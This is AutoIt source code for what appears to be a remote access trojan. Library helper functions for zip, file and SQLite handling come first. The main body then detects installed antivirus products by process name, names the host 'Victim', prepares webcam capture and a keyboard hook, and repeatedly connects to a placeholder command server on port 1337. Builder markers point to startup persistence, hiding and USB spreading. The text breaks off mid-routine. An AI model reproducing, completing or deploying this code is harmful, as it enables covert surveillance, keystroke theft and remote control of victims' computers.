- $oapp = ObjCreate("Shell.Application")
- $hlist = $oapp.namespace($hzipfile).items
- For $item In $hlist
- _arrayadd($aarray, $item.name)
- Next
- $aarray[0] = UBound($aarray) - 1
- Return $aarray
- EndFunc
- Func _zip_virtualzipopen()
- $zipsplit = StringSplit($cmdline[1], ",")
- $zipname = $zipsplit[1]
- $zipfile = $zipsplit[2]
- _zip_unzip($zipname, $zipfile, @TempDir & "\", 4 + 16)
- If @error Then Return SetError(@error, 0, 0)
- ShellExecute(@TempDir & "\" & $zipfile)
- EndFunc
- Func _zip_dllchk()
- If NOT FileExists(@SystemDir & "\zipfldr.dll") Then Return 2
- If NOT RegRead("HKEY_CLASSES_ROOT\CLSID\{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}", "") Then Return 3
- Return 0
- EndFunc
- Func _isfullpath($path)
- If StringInStr($path, ":\") Then
- Return True
- Else
- Return False
- EndIf
- EndFunc
- Func _hide()
- If ControlGetHandle("[CLASS:#32770]", "", "[CLASS:SysAnimate32; INSTANCE:1]") <> "" AND WinGetState("[CLASS:#32770]") <> @SW_HIDE Then
- $hwnd = WinGetHandle("[CLASS:#32770]")
- WinSetState($hwnd, "", @SW_HIDE)
- EndIf
- EndFunc
- Func _filelisttoarray($spath, $sfilter = "*", $iflag = 0)
- Local $hsearch, $sfile, $sfilelist, $sdelim = "|"
- $spath = StringRegExpReplace($spath, "[\\/]+\z", "") & "\"
- If NOT FileExists($spath) Then Return SetError(1, 1, "")
- If StringRegExp($sfilter, "[\\/:><\|]|(?s)\A\s*\z") Then Return SetError(2, 2, "")
- If NOT ($iflag = 0 OR $iflag = 1 OR $iflag = 2) Then Return SetError(3, 3, "")
- $hsearch = FileFindFirstFile($spath & $sfilter)
- If @error Then Return SetError(4, 4, "")
- While 1
- $sfile = FileFindNextFile($hsearch)
- If @error Then ExitLoop
- If ($iflag + @extended = 2) Then ContinueLoop
- $sfilelist &= $sdelim & $sfile
- WEnd
- FileClose($hsearch)
- If NOT $sfilelist Then Return SetError(4, 4, "")
- Return StringSplit(StringTrimLeft($sfilelist, 1), "|")
- EndFunc
- Func _filereadtoarray($sfilepath, ByRef $aarray)
- Local $hfile = FileOpen($sfilepath, $fo_read)
- If $hfile = -1 Then Return SetError(1, 0, 0)
- Local $afile = FileRead($hfile, FileGetSize($sfilepath))
- If StringRight($afile, 1) = @LF Then $afile = StringTrimRight($afile, 1)
- If StringRight($afile, 1) = @CR Then $afile = StringTrimRight($afile, 1)
- FileClose($hfile)
- If StringInStr($afile, @LF) Then
- $aarray = StringSplit(StringStripCR($afile), @LF)
- ElseIf StringInStr($afile, @CR) Then
- $aarray = StringSplit($afile, @CR)
- Else
- If StringLen($afile) Then
- Dim $aarray[2] = [1, $afile]
- Else
- Return SetError(2, 0, 0)
- EndIf
- EndIf
- Return 1
- EndFunc
- Func _tempfile($s_directoryname = @TempDir, $s_fileprefix = "~", $s_fileextension = ".tmp", $i_randomlength = 7)
- If IsKeyword($s_fileprefix) Then $s_fileprefix = "~"
- If IsKeyword($s_fileextension) Then $s_fileextension = ".tmp"
- If IsKeyword($i_randomlength) Then $i_randomlength = 7
- If NOT FileExists($s_directoryname) Then $s_directoryname = @TempDir
- If NOT FileExists($s_directoryname) Then $s_directoryname = @ScriptDir
- If StringRight($s_directoryname, 1) <> "\" Then $s_directoryname = $s_directoryname & "\"
- Local $s_tempname
- Do
- $s_tempname = ""
- While StringLen($s_tempname) < $i_randomlength
- $s_tempname = $s_tempname & Chr(Random(97, 122, 1))
- WEnd
- $s_tempname = $s_directoryname & $s_fileprefix & $s_tempname & $s_fileextension
- Until NOT FileExists($s_tempname)
- Return $s_tempname
- EndFunc
- Global Const $ws_popup = -2147483648
- Global Const $ws_ex_dlgmodalframe = 1
- Global Const $ws_ex_toolwindow = 128
- Global Const $ws_ex_topmost = 8
- Global Const $wm_keydown = 256
- Global $wm_cap_start = 1024
- Local $avi = DllOpen("avicap32.dll")
- Local $wm_cap_user_dll = DllOpen("user32.dll")
- Global Const $em_scroll = 181
- Global Const $em_scrollcaret = 183
- Func __udf_debugprint($stext, $iline = @ScriptLineNumber, $err = @error, $ext = @extended)
- ConsoleWrite("!===========================================================" & @CRLF & "+======================================================" & @CRLF & "-->Line(" & StringFormat("%04d", $iline) & "):" & @TAB & $stext & @CRLF & "+======================================================" & @CRLF)
- Return SetError($err, $ext, 1)
- EndFunc
- Func __udf_validateclassname($hwnd, $sclassnames)
- __udf_debugprint("This is for debugging only, set the debug variable to false before submitting")
- If _winapi_isclassname($hwnd, $sclassnames) Then Return True
- Local $sseparator = Opt("GUIDataSeparatorChar")
- $sclassnames = StringReplace($sclassnames, $sseparator, ",")
- __udf_debugprint("Invalid Class Type(s):" & @LF & @TAB & "Expecting Type(s): " & $sclassnames & @LF & @TAB & "Received Type : " & _winapi_getclassname($hwnd))
- Exit
- EndFunc
- Global $debug_ed = False
- Global Const $__editconstant_classname = "Edit"
- Global Const $__editconstant_sb_lineup = 0
- Global Const $__editconstant_sb_linedown = 1
- Global Const $__editconstant_sb_pagedown = 3
- Global Const $__editconstant_sb_pageup = 2
- Global Const $__editconstant_sb_scrollcaret = 4
- Func _guictrledit_scroll($hwnd, $idirection)
- If $debug_ed Then __udf_validateclassname($hwnd, $__editconstant_classname)
- If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
- If BitAND($idirection, $__editconstant_sb_linedown) <> $__editconstant_sb_linedown AND BitAND($idirection, $__editconstant_sb_lineup) <> $__editconstant_sb_lineup AND BitAND($idirection, $__editconstant_sb_pagedown) <> $__editconstant_sb_pagedown AND BitAND($idirection, $__editconstant_sb_pageup) <> $__editconstant_sb_pageup AND BitAND($idirection, $__editconstant_sb_scrollcaret) <> $__editconstant_sb_scrollcaret Then Return 0
- If $idirection == $__editconstant_sb_scrollcaret Then
- Return _sendmessage($hwnd, $em_scrollcaret)
- Else
- Return _sendmessage($hwnd, $em_scroll, $idirection)
- EndIf
- EndFunc
- Global Const $sb_scrollcaret = 4
- #IgnoreFunc __SQLite_Inline_Version, __SQLite_Inline_Modified
- Global Const $sqlite_ok = 0
- Global Const $sqlite_error = 1
- Global Const $sqlite_abort = 4
- Global Const $sqlite_interrupt = 9
- Global Const $sqlite_corrupt = 11
- Global Const $sqlite_mismatch = 20
- Global Const $sqlite_misuse = 21
- Global Const $sqlite_row = 100
- Global Const $sqlite_done = 101
- Global Const $sqlite_open_readwrite = 2
- Global Const $sqlite_open_create = 4
- Global Const $sqlite_encoding_utf8 = 0
- Global Const $sqlite_type_blob = 4
- Global Const $sqlite_type_null = 5
- Global $g_hdll_sqlite = 0
- Global $g_hdb_sqlite = 0
- Global $g_butf8errormsg_sqlite = False
- Global $g_sprintcallback_sqlite = "__SQLite_ConsoleWrite"
- Global $__gbsafemodestate_sqlite = True
- Global $__ghdbs_sqlite[1] = [""]
- Global $__ghquerys_sqlite[1] = [""]
- Global $__ghmsvcrtdll_sqlite = 0
- Global $__gatempfiles_sqlite[1] = [""]
- Func _sqlite_startup($sdll_filename = "", $butf8errormsg = False, $bforcelocal = 0, $sprintcallback = $g_sprintcallback_sqlite)
- $g_sprintcallback_sqlite = $sprintcallback
- If IsKeyword($butf8errormsg) Then $butf8errormsg = False
- $g_butf8errormsg_sqlite = $butf8errormsg
- If IsKeyword($sdll_filename) OR $bforcelocal OR $sdll_filename = "" OR $sdll_filename = -1 Then
- Local $bdownloaddll = True
- Local $vinlineversion = Call("__SQLite_Inline_Version")
- If $bforcelocal Then
- If @AutoItX64 AND StringInStr($sdll_filename, "_x64") Then $sdll_filename = StringReplace($sdll_filename, ".dll", "_x64.dll")
- $bdownloaddll = ($bforcelocal < 0)
- Else
- If @AutoItX64 = 0 Then
- $sdll_filename = "sqlite3.dll"
- Else
- $sdll_filename = "sqlite3_x64.dll"
- EndIf
- If @error Then $bdownloaddll = False
- If __sqlite_verscmp(@ScriptDir & "\" & $sdll_filename, $vinlineversion) = $sqlite_ok Then
- $sdll_filename = @ScriptDir & "\" & $sdll_filename
- $bdownloaddll = False
- ElseIf __sqlite_verscmp(@SystemDir & "\" & $sdll_filename, $vinlineversion) = $sqlite_ok Then
- $sdll_filename = @SystemDir & "\" & $sdll_filename
- $bdownloaddll = False
- ElseIf __sqlite_verscmp(@WindowsDir & "\" & $sdll_filename, $vinlineversion) = $sqlite_ok Then
- $sdll_filename = @WindowsDir & "\" & $sdll_filename
- $bdownloaddll = False
- ElseIf __sqlite_verscmp(@WorkingDir & "\" & $sdll_filename, $vinlineversion) = $sqlite_ok Then
- $sdll_filename = @WorkingDir & "\" & $sdll_filename
- $bdownloaddll = False
- EndIf
- EndIf
- If $bdownloaddll Then
- If FileExists($sdll_filename) OR $sdll_filename = "" Then
- $sdll_filename = _tempfile(@TempDir, "~", ".dll")
- _arrayadd($__gatempfiles_sqlite, $sdll_filename)
- OnAutoItExitRegister("_SQLite_Shutdown")
- Else
- $sdll_filename = @SystemDir & "\" & $sdll_filename
- EndIf
- If $bforcelocal Then
- $vinlineversion = ""
- Else
- $vinlineversion = "_" & $vinlineversion
- EndIf
- __sqlite_download_sqlite3dll($sdll_filename, $vinlineversion)
- EndIf
- EndIf
- Local $hdll = DllOpen($sdll_filename)
- If $hdll = -1 Then
- $g_hdll_sqlite = 0
- Return SetError(1, 0, "")
- Else
- $g_hdll_sqlite = $hdll
- Return $sdll_filename
- EndIf
- EndFunc
- Func _sqlite_shutdown()
- If $g_hdll_sqlite > 0 Then DllClose($g_hdll_sqlite)
- $g_hdll_sqlite = 0
- If $__ghmsvcrtdll_sqlite > 0 Then DllClose($__ghmsvcrtdll_sqlite)
- $__ghmsvcrtdll_sqlite = 0
- For $stempfile In $__gatempfiles_sqlite
- If FileExists($stempfile) Then FileDelete($stempfile)
- Next
- OnAutoItExitUnRegister("_SQLite_Shutdown")
- EndFunc
- Func _sqlite_open($sdatabase_filename = Default, $iaccessmode = Default, $iencoding = Default)
- If NOT $g_hdll_sqlite Then Return SetError(3, $sqlite_misuse, 0)
- If IsKeyword($sdatabase_filename) OR NOT IsString($sdatabase_filename) Then $sdatabase_filename = ":memory:"
- Local $tfilename = __sqlite_stringtoutf8struct($sdatabase_filename)
- If @error Then Return SetError(2, @error, 0)
- If IsKeyword($iaccessmode) Then $iaccessmode = BitOR($sqlite_open_readwrite, $sqlite_open_create)
- Local $oldbase = FileExists($sdatabase_filename)
- If IsKeyword($iencoding) Then
- $iencoding = $sqlite_encoding_utf8
- EndIf
- Local $avrval = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_open_v2", "struct*", $tfilename, "long*", 0, "int", $iaccessmode, "ptr", 0)
- If @error Then Return SetError(1, @error, 0)
- If $avrval[0] <> $sqlite_ok Then
- __sqlite_reporterror($avrval[2], "_SQLite_Open")
- _sqlite_close($avrval[2])
- Return SetError(-1, $avrval[0], 0)
- EndIf
- $g_hdb_sqlite = $avrval[2]
- __sqlite_hadd($__ghdbs_sqlite, $avrval[2])
- If NOT $oldbase Then
- Local $encoding[3] = ["8", "16", "16be"]
- _sqlite_exec($avrval[2], 'PRAGMA encoding="UTF-' & $encoding[$iencoding] & '";')
- EndIf
- Return SetExtended($avrval[0], $avrval[2])
- EndFunc
- Func _sqlite_exec($hdb, $ssql, $scallback = "")
- If __sqlite_hchk($hdb, 2) Then Return SetError(@error, 0, $sqlite_misuse)
- If $scallback <> "" Then
- Local $irows, $icolumns
- Local $aresult = "SQLITE_CALLBACK:" & $scallback
- Local $irval = _sqlite_gettable2d($hdb, $ssql, $aresult, $irows, $icolumns)
- If @error Then Return SetError(3, @error, $irval)
- Return $irval
- EndIf
- Local $tsql8 = __sqlite_stringtoutf8struct($ssql)
- If @error Then Return SetError(4, @error, 0)
- Local $avrval = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_exec", "ptr", $hdb, "struct*", $tsql8, "ptr", 0, "ptr", 0, "long*", 0)
- If @error Then Return SetError(1, @error, $sqlite_misuse)
- __sqlite_szfree($avrval[5])
- If $avrval[0] <> $sqlite_ok Then
- __sqlite_reporterror($hdb, "_SQLite_Exec", $ssql)
- SetError(-1)
- EndIf
- Return $avrval[0]
- EndFunc
- Func _sqlite_errmsg($hdb = -1)
- If __sqlite_hchk($hdb, 2) Then Return SetError(@error, @extended, "Library used incorrectly")
- Local $r = DllCall($g_hdll_sqlite, "wstr:cdecl", "sqlite3_errmsg16", "ptr", $hdb)
- If @error Then
- __sqlite_reporterror($hdb, "_SQLite_ErrMsg", Default, "Call Failed")
- Return SetError(1, @error, "Library used incorrectly")
- EndIf
- Return $r[0]
- EndFunc
- Func _sqlite_gettable2d($hdb, $ssql, ByRef $aresult, ByRef $irows, ByRef $icolumns, $icharsize = -1, $fswichdimensions = False)
- If __sqlite_hchk($hdb, 1) Then Return SetError(@error, 0, $sqlite_misuse)
- If $icharsize = "" OR $icharsize < 1 OR IsKeyword($icharsize) Then $icharsize = -1
- Local $scallback = "", $fcallback = False
- If IsString($aresult) Then
- If StringLeft($aresult, 16) = "SQLITE_CALLBACK:" Then
- $scallback = StringTrimLeft($aresult, 16)
- $fcallback = True
- EndIf
- EndIf
- $aresult = ""
- If IsKeyword($fswichdimensions) Then $fswichdimensions = False
- Local $hquery
- Local $r = _sqlite_query($hdb, $ssql, $hquery)
- If @error Then Return SetError(2, @error, $r)
- If $r <> $sqlite_ok Then
- __sqlite_reporterror($hdb, "_SQLite_GetTable2d", $ssql)
- _sqlite_queryfinalize($hquery)
- Return SetError(-1, 0, $r)
- EndIf
- $irows = 0
- Local $irval_step, $err
- While True
- $irval_step = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_step", "ptr", $hquery)
- If @error Then
- $err = @error
- _sqlite_queryfinalize($hquery)
- Return SetError(3, $err, $sqlite_misuse)
- EndIf
- Switch $irval_step[0]
- Case $sqlite_row
- $irows += 1
- Case $sqlite_done
- ExitLoop
- Case Else
- _sqlite_queryfinalize($hquery)
- Return SetError(3, $err, $irval_step[0])
- EndSwitch
- WEnd
- Local $ret = _sqlite_queryreset($hquery)
- If @error Then
- $err = @error
- _sqlite_queryfinalize($hquery)
- Return SetError(4, $err, $ret)
- EndIf
- Local $adatarow
- $r = _sqlite_fetchnames($hquery, $adatarow)
- If @error Then
- $err = @error
- _sqlite_queryfinalize($hquery)
- Return SetError(5, $err, $r)
- EndIf
- $icolumns = UBound($adatarow)
- If $icolumns <= 0 Then
- _sqlite_queryfinalize($hquery)
- Return SetError(-1, 0, $sqlite_done)
- EndIf
- If NOT $fcallback Then
- If $fswichdimensions Then
- Dim $aresult[$icolumns][$irows + 1]
- For $i = 0 To $icolumns - 1
- If $icharsize > 0 Then
- $adatarow[$i] = StringLeft($adatarow[$i], $icharsize)
- EndIf
- $aresult[$i][0] = $adatarow[$i]
- Next
- Else
- Dim $aresult[$irows + 1][$icolumns]
- For $i = 0 To $icolumns - 1
- If $icharsize > 0 Then
- $adatarow[$i] = StringLeft($adatarow[$i], $icharsize)
- EndIf
- $aresult[0][$i] = $adatarow[$i]
- Next
- EndIf
- Else
- Local $icbrval
- $icbrval = Call($scallback, $adatarow)
- If $icbrval = $sqlite_abort OR $icbrval = $sqlite_interrupt OR @error Then
- $err = @error
- _sqlite_queryfinalize($hquery)
- Return SetError(7, $err, $icbrval)
- EndIf
- EndIf
- If $irows > 0 Then
- For $i = 1 To $irows
- $r = _sqlite_fetchdata($hquery, $adatarow, 0, 0, $icolumns)
- If @error Then
- $err = @error
- _sqlite_queryfinalize($hquery)
- Return SetError(6, $err, $r)
- EndIf
- If $fcallback Then
- $icbrval = Call($scallback, $adatarow)
- If $icbrval = $sqlite_abort OR $icbrval = $sqlite_interrupt OR @error Then
- $err = @error
- _sqlite_queryfinalize($hquery)
- Return SetError(7, $err, $icbrval)
- EndIf
- Else
- For $j = 0 To $icolumns - 1
- If $icharsize > 0 Then
- $adatarow[$j] = StringLeft($adatarow[$j], $icharsize)
- EndIf
- If $fswichdimensions Then
- $aresult[$j][$i] = $adatarow[$j]
- Else
- $aresult[$i][$j] = $adatarow[$j]
- EndIf
- Next
- EndIf
- Next
- EndIf
- Return (_sqlite_queryfinalize($hquery))
- EndFunc
- Func _sqlite_query($hdb, $ssql, ByRef $hquery)
- If __sqlite_hchk($hdb, 2) Then Return SetError(@error, 0, $sqlite_misuse)
- Local $irval = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_prepare16_v2", "ptr", $hdb, "wstr", $ssql, "int", -1, "long*", 0, "long*", 0)
- If @error Then Return SetError(1, @error, $sqlite_misuse)
- If $irval[0] <> $sqlite_ok Then
- __sqlite_reporterror($hdb, "_SQLite_Query", $ssql)
- Return SetError(-1, 0, $irval[0])
- EndIf
- $hquery = $irval[4]
- __sqlite_hadd($__ghquerys_sqlite, $irval[4])
- Return $irval[0]
- EndFunc
- Func _sqlite_fetchdata($hquery, ByRef $arow, $fbinary = False, $fdonotfinalize = False, $icolumns = 0)
- Dim $arow[1]
- If __sqlite_hchk($hquery, 7, False) Then Return SetError(@error, 0, $sqlite_misuse)
- If IsKeyword($fbinary) Then $fbinary = False
- If IsKeyword($fdonotfinalize) Then $fdonotfinalize = False
- Local $irval_step = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_step", "ptr", $hquery)
- If @error Then Return SetError(1, @error, $sqlite_misuse)
- If $irval_step[0] <> $sqlite_row Then
- If $fdonotfinalize = False AND $irval_step[0] = $sqlite_done Then
- _sqlite_queryfinalize($hquery)
- EndIf
- Return SetError(-1, 0, $irval_step[0])
- EndIf
- If NOT $icolumns Then
- Local $irval_colcnt = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_data_count", "ptr", $hquery)
- If @error Then Return SetError(2, @error, $sqlite_misuse)
- If $irval_colcnt[0] <= 0 Then Return SetError(-1, 0, $sqlite_done)
- $icolumns = $irval_colcnt[0]
- EndIf
- ReDim $arow[$icolumns]
- For $i = 0 To $icolumns - 1
- Local $irval_coltype = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_column_type", "ptr", $hquery, "int", $i)
- If @error Then Return SetError(4, @error, $sqlite_misuse)
- If $irval_coltype[0] = $sqlite_type_null Then
- $arow[$i] = ""
- ContinueLoop
- EndIf
- If (NOT $fbinary) AND ($irval_coltype[0] <> $sqlite_type_blob) Then
- Local $srval = DllCall($g_hdll_sqlite, "wstr:cdecl", "sqlite3_column_text16", "ptr", $hquery, "int", $i)
- If @error Then Return SetError(3, @error, $sqlite_misuse)
- $arow[$i] = $srval[0]
- Else
- Local $vresult = DllCall($g_hdll_sqlite, "ptr:cdecl", "sqlite3_column_blob", "ptr", $hquery, "int", $i)
- If @error Then Return SetError(6, @error, $sqlite_misuse)
- Local $icolbytes = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_column_bytes", "ptr", $hquery, "int", $i)
- If @error Then Return SetError(5, @error, $sqlite_misuse)
- Local $vresultstruct = DllStructCreate("byte[" & $icolbytes[0] & "]", $vresult[0])
- $arow[$i] = Binary(DllStructGetData($vresultstruct, 1))
- EndIf
- Next
- Return $sqlite_ok
- EndFunc
- Func _sqlite_close($hdb = -1)
- If __sqlite_hchk($hdb, 2) Then Return SetError(@error, 0, $sqlite_misuse)
- Local $irval = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_close", "ptr", $hdb)
- If @error Then Return SetError(1, @error, $sqlite_misuse)
- If $irval[0] <> $sqlite_ok Then
- __sqlite_reporterror($hdb, "_SQLite_Close")
- Return SetError(-1, 0, $irval[0])
- EndIf
- $g_hdb_sqlite = 0
- __sqlite_hdel($__ghdbs_sqlite, $hdb)
- Return $irval[0]
- EndFunc
- Func _sqlite_queryfinalize($hquery)
- If __sqlite_hchk($hquery, 2, False) Then Return SetError(@error, 0, $sqlite_misuse)
- Local $avrval = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_finalize", "ptr", $hquery)
- If @error Then Return SetError(1, @error, $sqlite_misuse)
- __sqlite_hdel($__ghquerys_sqlite, $hquery)
- If $avrval[0] <> $sqlite_ok Then SetError(-1)
- Return $avrval[0]
- EndFunc
- Func _sqlite_queryreset($hquery)
- If __sqlite_hchk($hquery, 2, False) Then Return SetError(@error, 0, $sqlite_misuse)
- Local $avrval = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_reset", "ptr", $hquery)
- If @error Then Return SetError(1, @error, $sqlite_misuse)
- If $avrval[0] <> $sqlite_ok Then SetError(-1)
- Return $avrval[0]
- EndFunc
- Func _sqlite_fetchnames($hquery, ByRef $anames)
- Dim $anames[1]
- If __sqlite_hchk($hquery, 3, False) Then Return SetError(@error, 0, $sqlite_misuse)
- Local $avdatacnt = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_column_count", "ptr", $hquery)
- If @error Then Return SetError(1, @error, $sqlite_misuse)
- If $avdatacnt[0] <= 0 Then Return SetError(-1, 0, $sqlite_done)
- ReDim $anames[$avdatacnt[0]]
- Local $avcolname
- For $icnt = 0 To $avdatacnt[0] - 1
- $avcolname = DllCall($g_hdll_sqlite, "wstr:cdecl", "sqlite3_column_name16", "ptr", $hquery, "int", $icnt)
- If @error Then Return SetError(2, @error, $sqlite_misuse)
- $anames[$icnt] = $avcolname[0]
- Next
- Return $sqlite_ok
- EndFunc
- Func __sqlite_hchk(ByRef $hgeneric, $nerror, $bdb = True)
- If $g_hdll_sqlite = 0 Then Return SetError(1, $sqlite_misuse, $sqlite_misuse)
- If $hgeneric = -1 OR $hgeneric = "" OR IsKeyword($hgeneric) Then
- If NOT $bdb Then Return SetError($nerror, 0, $sqlite_error)
- $hgeneric = $g_hdb_sqlite
- EndIf
- If NOT $__gbsafemodestate_sqlite Then Return $sqlite_ok
- If $bdb Then
- If _arraysearch($__ghdbs_sqlite, $hgeneric) > 0 Then Return $sqlite_ok
- Else
- If _arraysearch($__ghquerys_sqlite, $hgeneric) > 0 Then Return $sqlite_ok
- EndIf
- Return SetError($nerror, 0, $sqlite_error)
- EndFunc
- Func __sqlite_hadd(ByRef $ahlists, $hgeneric)
- _arrayadd($ahlists, $hgeneric)
- EndFunc
- Func __sqlite_hdel(ByRef $ahlists, $hgeneric)
- Local $ielement = _arraysearch($ahlists, $hgeneric)
- If $ielement > 0 Then _arraydelete($ahlists, $ielement)
- EndFunc
- Func __sqlite_verscmp($sfile, $sversion)
- Local $avrval = DllCall($sfile, "str:cdecl", "sqlite3_libversion")
- If @error Then Return $sqlite_corrupt
- Local $szfileversion = StringSplit($avrval[0], ".")
- Local $maintversion = 0
- If $szfileversion[0] = 4 Then $maintversion = $szfileversion[4]
- $szfileversion = (($szfileversion[1] * 1000 + $szfileversion[2]) * 1000 + $szfileversion[3]) * 100 + $maintversion
- If $sversion < 10000000 Then $sversion = $sversion * 100
- If $szfileversion >= $sversion Then Return $sqlite_ok
- Return $sqlite_mismatch
- EndFunc
- Func __sqlite_reporterror($hdb, $sfunction, $squery = Default, $serror = Default, $vreturnvalue = Default, $curerr = @error, $curext = @extended)
- If @Compiled Then Return SetError($curerr, $curext)
- If IsKeyword($serror) Then $serror = _sqlite_errmsg($hdb)
- If IsKeyword($squery) Then $squery = ""
- Local $sout = "! SQLite.au3 Error" & @CRLF
- $sout &= "--> Function: " & $sfunction & @CRLF
- If $squery <> "" Then $sout &= "--> Query: " & $squery & @CRLF
- $sout &= "--> Error: " & $serror & @CRLF
- __sqlite_print($sout & @CRLF)
- If NOT IsKeyword($vreturnvalue) Then Return SetError($curerr, $curext, $vreturnvalue)
- Return SetError($curerr, $curext)
- EndFunc
- Func __sqlite_szfree($ptr, $curerr = @error)
- If $ptr <> 0 Then DllCall($g_hdll_sqlite, "none:cdecl", "sqlite3_free", "ptr", $ptr)
- SetError($curerr)
- EndFunc
- Func __sqlite_stringtoutf8struct($sstring)
- Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", 65001, "dword", 0, "wstr", $sstring, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0)
- If @error Then Return SetError(1, @error, "")
- Local $ttext = DllStructCreate("char[" & $aresult[0] & "]")
- $aresult = DllCall("Kernel32.dll", "int", "WideCharToMultiByte", "uint", 65001, "dword", 0, "wstr", $sstring, "int", -1, "struct*", $ttext, "int", $aresult[0], "ptr", 0, "ptr", 0)
- If @error Then Return SetError(2, @error, "")
- Return $ttext
- EndFunc
- Func __sqlite_download_sqlite3dll($tempfile, $version)
- Local $url = "http://www.autoitscript.com/autoit3/files/beta/autoit/archive/sqlite/SQLite3" & $version
- Local $ret
- If @AutoItX64 = 0 Then
- $ret = InetGet($url & ".dll", $tempfile, 1)
- Else
- $ret = InetGet($url & "_x64.dll", $tempfile, 1)
- EndIf
- Local $error = @error
- FileSetTime($tempfile, __sqlite_inline_modified(), 0)
- Return SetError($error, 0, $ret)
- EndFunc
- Func __sqlite_print($stext)
- If $g_sprintcallback_sqlite Then
- If $g_butf8errormsg_sqlite Then
- Local $tstr8 = __sqlite_stringtoutf8struct($stext)
- Call($g_sprintcallback_sqlite, DllStructGetData($tstr8, 1))
- Else
- Call($g_sprintcallback_sqlite, $stext)
- EndIf
- EndIf
- EndFunc
- $sSQliteDll = (@TempDir & '/Sqlite.dll')
- $spi_setdeskwallpaper = 20
- ;ProsROOT
- ;Meltx
- $amount = ProcessList("x.exe")
- While $amount[0][0] > 1
- Exit
- WEnd
- ;Bindx
- $amount2 = ProcessList(@ScriptName)
- While $amount2[0][0] > 1
- Exit
- WEnd
- ;FackProc
- ;Sleepx
- Local $hMod
- Global $g_hHook, $g_hStub_KeyProc, $g_sBuffer = ""
- Local $g_hHook
- Local $nCode
- Local $wParam
- Local $lParam
- ;~ OnAutoItExitRegister("Cleanup")
- $xd = "0"
- If ProcessExists("ekrn.exe") Then
- $antivirus = "NOD32"
- ElseIf ProcessExists("AvastUI.exe") Then
- $antivirus = "Avast"
- ElseIf ProcessExists("avgcc.exe") Then
- $antivirus = "AVG"
- ElseIf ProcessExists("avgnt.exe") Then
- $antivirus = "Avira"
- ElseIf ProcessExists("ahnsd.exe") Then
- $antivirus = "AhnLab-V3"
- ElseIf ProcessExists("bdss.exe") Then
- $antivirus = "BitDefender"
- ElseIf ProcessExists("bdv.exe") Then
- $antivirus = "ByteHero"
- ElseIf ProcessExists("clamav.exe") Then
- $antivirus = "ClamAV"
- ElseIf ProcessExists("fpavserver.exe") Then
- $antivirus = "F-Prot"
- ElseIf ProcessExists("fssm32.exe") Then
- $antivirus = "F-Secure"
- ElseIf ProcessExists("avkcl.exe") Then
- $antivirus = "GData"
- ElseIf ProcessExists("engface.exe") Then
- $antivirus = "Jiangmin"
- ElseIf ProcessExists("avp.exe") Then
- $antivirus = "Kaspersky"
- ElseIf ProcessExists("updaterui.exe") Then
- $antivirus = "McAfee"
- ElseIf ProcessExists("msmpeng.exe") Then
- $antivirus = "Microsoft"
- ElseIf ProcessExists("zanda.exe") Then
- $antivirus = "Norman"
- ElseIf ProcessExists("npupdate.exe") Then
- $antivirus = "nProtect"
- ElseIf ProcessExists("inicio.exe") Then
- $antivirus = "Panda"
- ElseIf ProcessExists("sagui.exe") Then
- $antivirus = "Prevx"
- ElseIf ProcessExists("Norman.exe") Then
- $antivirus = "Sophos"
- ElseIf ProcessExists("savservice.exe") Then
- $antivirus = "Sophos"
- ElseIf ProcessExists("saswinlo.exe") Then
- $antivirus = "SUPERAntiSpyware"
- ElseIf ProcessExists("spbbcsvc.exe") Then
- $antivirus = "Symantec"
- ElseIf ProcessExists("thd32.exe") Then
- $antivirus = "TheHacker"
- ElseIf ProcessExists("ufseagnt.exe") Then
- $antivirus = "TrendMicro"
- ElseIf ProcessExists("dllhook.exe") Then
- $antivirus = "VBA32"
- ElseIf ProcessExists("sbamtray.exe") Then
- $antivirus = "VIPRE"
- ElseIf ProcessExists("vrmonsvc.exe") Then
- $antivirus = "ViRobot"
- ElseIf ProcessExists("dllhook.exe") Then
- $antivirus = "VBA32"
- ElseIf ProcessExists("vbcalrt.exe") Then
- $antivirus = "VirusBuster"
- Else
- $antivirus = "No"
- EndIf
- Local $sFileBuffer
- ;Copy
- ;~ Sleep (1000)
- ;StartUp
- ;Hidex
- $Sezamo = 0
- TCPStartup()
- Local $cam = _WebCamDetect()
- $Vicname = "Victim"
- Local $tc = ""
- ;~ OnAutoItExitRegister("Cleanup")
- $strComputer = "."
- $objWMIService = ObjGet('winmgmts:{impersonationLevel=impersonate}!\\' & $strComputer & "\root\cimv2")
- $colChassis = $objWMIService.ExecQuery("Select * from Win32_SystemEnclosure")
- For $objChassis In $colChassis
- For $strChassisType In $objChassis.ChassisTypes
- If $strChassisType = 8 Or $strChassisType = 9 Or $strChassisType = 10 Then
- $detectOStype = "laptop"
- ElseIf $strChassisType = 3 Or $strChassisType = 4 Or $strChassisType = 5 Or $strChassisType = 6 Or $strChassisType = 7 Then
- $detectOStype = "Desktop"
- Else
- $detectOStype = "x"
- EndIf
- Next
- Next
- $Qlits = 15
- While 1
- $1 = TCPNameToIP("127.0.0.1")
- ;~ $1 = TCPNameToIP("127.0.0.1")
- Sleep(1)
- ;StartPe1
- ;StartPer
- ;StartPe2
- ;UsbStart
- ;taskmgrX
- ;Msconfig
- $r = TCPConnect($1, "1337")
- ;~ $r = TCPConnect($1, "1337")
- If $r = -1 Or @error Then ContinueLoop
- $Uac = RegRead("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "EnableLUA")
- If @OSVersion = "WIN_10" Or @OSVersion = "WIN_7" Or @OSVersion = "WIN_8" Or @OSVersion = "WIN_2008" Or @OSVersion = "WIN_2008R2" Then
- If $Uac = 0 Then
- $Uacx = "Off"
- ElseIf $Uac = 1 Then
- $Uacx = "On"
- EndIf
- Else
